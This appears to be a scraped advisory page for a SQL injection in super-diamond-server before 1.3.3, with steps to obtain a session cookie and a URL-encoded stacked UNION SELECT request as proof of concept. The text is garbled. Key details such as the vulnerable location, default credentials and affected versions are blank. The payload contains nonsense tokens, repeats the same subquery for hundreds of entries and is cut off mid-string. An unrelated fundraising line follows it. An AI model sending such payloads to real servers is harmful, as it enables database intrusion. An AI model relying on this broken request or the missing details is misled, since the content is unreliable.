SQL Injection in super-diamond-server <1.3.3 with PoC

Key Vulnerability Information Summary Vulnerability Overview Vulnerability Type: SQL Injection Location: The front-end interface of the service: Cause: The parameter is not parameterized and is directly concatenated into the SQL clause using and string concatenation. Bypass Mechanism: The built-in uses a regular expression for blacklisting; however, the vulnerable code path does not invoke this utility, allowing attackers to execute stacked SQL statements. Authentication Requirement: Requires a valid login session (default administrator credentials: ). Scope of Impact Affected Versions: Impact Conditions: - The target interface is - A valid login session is required (default administrator credentials: ) Vulnerability Reproduction (POC) 1. Obtaining the Cookie: Log into the back-end using any user privileges to obtain the cookie, or bypass authentication to retrieve all configurations. 2. Extracting Database Version: - Request: ``` GET /super/diamond/preview/DEMO/%27%28UNION%20SELECT%20%2F6RF0RF%28(SELECT%201)%28%20JN%28(SELECT%202)%28(SELECT%203)%28(SELECT%204)%28(SELECT%205)%28(SELECT%206)%28(SELECT%207)%28(SELECT%208)%28(SELECT%209)%28(SELECT%2010)%28(SELECT%2011)%28(SELECT%2012)%28(SELECT%2013)%28(SELECT%2014)%28(SELECT%2015)%28(SELECT%2016)%28(SELECT%2017)%28(SELECT%2018)%28(SELECT%2019)%28(SELECT%2020)%28(SELECT%2021)%28(SELECT%2022)%28(SELECT%2023)%28(SELECT%2024)%28(SELECT%2025)%28(SELECT%2026)%28(SELECT%2027)%28(SELECT%2028)%28(SELECT%2029)%28(SELECT%2030)%28(SELECT%2031)%28(SELECT%2032)%28(SELECT%2033)%28(SELECT%2034)%28(SELECT%2035)%28(SELECT%2036)%28(SELECT%2037)%28(SELECT%2038)%28(SELECT%2039)%28(SELECT%2040)%28(SELECT%2041)%28(SELECT%2042)%28(SELECT%2043)%28(SELECT%2044)%28(SELECT%2045)%28(SELECT%2046)%28(SELECT%2047)%28(SELECT%2048)%28(SELECT%2049)%28(SELECT%2050)%28(SELECT%2051)%28(SELECT%2052)%28(SELECT%2053)%28(SELECT%2054)%28(SELECT%2055)%28(SELECT%2056)%28(SELECT%2057)%28(SELECT%2058)%28(SELECT%2059)%28(SELECT%2060)%28(SELECT%2061)%28(SELECT%2062)%28(SELECT%2063)%28(SELECT%2064)%28(SELECT%2065)%28(SELECT%2066)%28(SELECT%2067)%28(SELECT%2068)%28(SELECT%2069)%28(SELECT%2070)%28(SELECT%2071)%28(SELECT%2072)%28(SELECT%2073)%28(SELECT%2074)%28(SELECT%2075)%28(SELECT%2076)%28(SELECT%2077)%28(SELECT%2078)%28(SELECT%2079)%28(SELECT%2080)%28(SELECT%2081)%28(SELECT%2082)%28(SELECT%2083)%28(SELECT%2084)%28(SELECT%2085)%28(SELECT%2086)%28(SELECT%2087)%28(SELECT%2088)%28(SELECT%2089)%28(SELECT%2090)%28(SELECT%2091)%28(SELECT%2092)%28(SELECT%2093)%28(SELECT%2094)%28(SELECT%2095)%28(SELECT%2096)%28(SELECT%2097)%28(SELECT%2098)%28(SELECT%2099)%28(SELECT%20100)%28(SELECT%20101)%28(SELECT%20102)%28(SELECT%20103)%28(SELECT%20104)%28(SELECT%20105)%28(SELECT%20106)%28(SELECT%20107)%28(SELECT%20108)%28(SELECT%20109)%28(SELECT%20110)%28(SELECT%20111)%28(SELECT%20112)%28(SELECT%20113)%28(SELECT%20114)%28(SELECT%20115)%28(SELECT%20116)%28(SELECT%20117)%28(SELECT%20118)%28(SELECT%20119)%28(SELECT%20120)%28(SELECT%20121)%28(SELECT%20122)%28(SELECT%20123)%28(SELECT%20124)%28(SELECT%20125)%28(SELECT%20126)%28(SELECT%20127)%28(SELECT%20128)%28(SELECT%20129)%28(SELECT%20130)%28(SELECT%20131)%28(SELECT%20132)%28(SELECT%20133)%28(SELECT%20134)%28(SELECT%20135)%28(SELECT%20136)%28(SELECT%20137)%28(SELECT%20138)%28(SELECT%20139)%28(SELECT%20140)%28(SELECT%20141)%28(SELECT%20142)%28(SELECT%20143)%28(SELECT%20144)%28(SELECT%20145)%28(SELECT%20146)%28(SELECT%20147)%28(SELECT%20148)%28(SELECT%20149)%28(SELECT%20150)%28(SELECT%20151)%28(SELECT%20152)%28(SELECT%20153)%28(SELECT%20154)%28(SELECT%20155)%28(SELECT%20156)%28(SELECT%20157)%28(SELECT%20158)%28(SELECT%20159)%28(SELECT%20160)%28(SELECT%20161)%28(SELECT%20162)%28(SELECT%20163)%28(SELECT%20164)%28(SELECT%20165)%28(SELECT%20166)%28(SELECT%20167)%28(SELECT%20168)%28(SELECT%20169)%28(SELECT%20170)%28(SELECT%20171)%28(SELECT%20172)%28(SELECT%20173)%28(SELECT%20174)%28(SELECT%20175)%28(SELECT%20176)%28(SELECT%20177)%28(SELECT%20178)%28(SELECT%20179)%28(SELECT%20180)%28(SELECT%20181)%28(SELECT%20182)%28(SELECT%20183)%28(SELECT%20184)%28(SELECT%20185)%28(SELECT%20186)%28(SELECT%20187)%28(SELECT%20188)%28(SELECT%20189)%28(SELECT%20190)%28(SELECT%20191)%28(SELECT%20192)%28(SELECT%20193)%28(SELECT%20194)%28(SELECT%20195)%28(SELECT%20196)%28(SELECT%20197)%28(SELECT%20198)%28(SELECT%20199)%28(SELECT%20200)%28(SELECT%20201)%28(SELECT%20202)%28(SELECT%20203)%28(SELECT%20204)%28(SELECT%20205)%28(SELECT%20206)%28(SELECT%20207)%28(SELECT%20208)%28(SELECT%20209)%28(SELECT%20210)%28(SELECT%20211)%28(SELECT%20212)%28(SELECT%20213)%28(SELECT%20214)%28(SELECT%20215)%28(SELECT%20216)%28(SELECT%20217)%28(SELECT%20218)%28(SELECT%20219)%28(SELECT%20220)%28(SELECT%20221)%28(SELECT%20222)%28(SELECT%20223)%28(SELECT%20224)%28(SELECT%20225)%28(SELECT%20226)%28(SELECT%20227)%28(SELECT%20228)%28(SELECT%20229)%28(SELECT%20230)%28(SELECT%20231)%28(SELECT%20232)%28(SELECT%20233)%28(SELECT%20234)%28(SELECT%20235)%28(SELECT%20236)%28(SELECT%20237)%28(SELECT%20238)%28(SELECT%20239)%28(SELECT%20240)%28(SELECT%

Goal Reached Thanks to every supporter — we hit 100%!

SQL Injection in super-diamond-server <1.3.3 with PoC

More from this source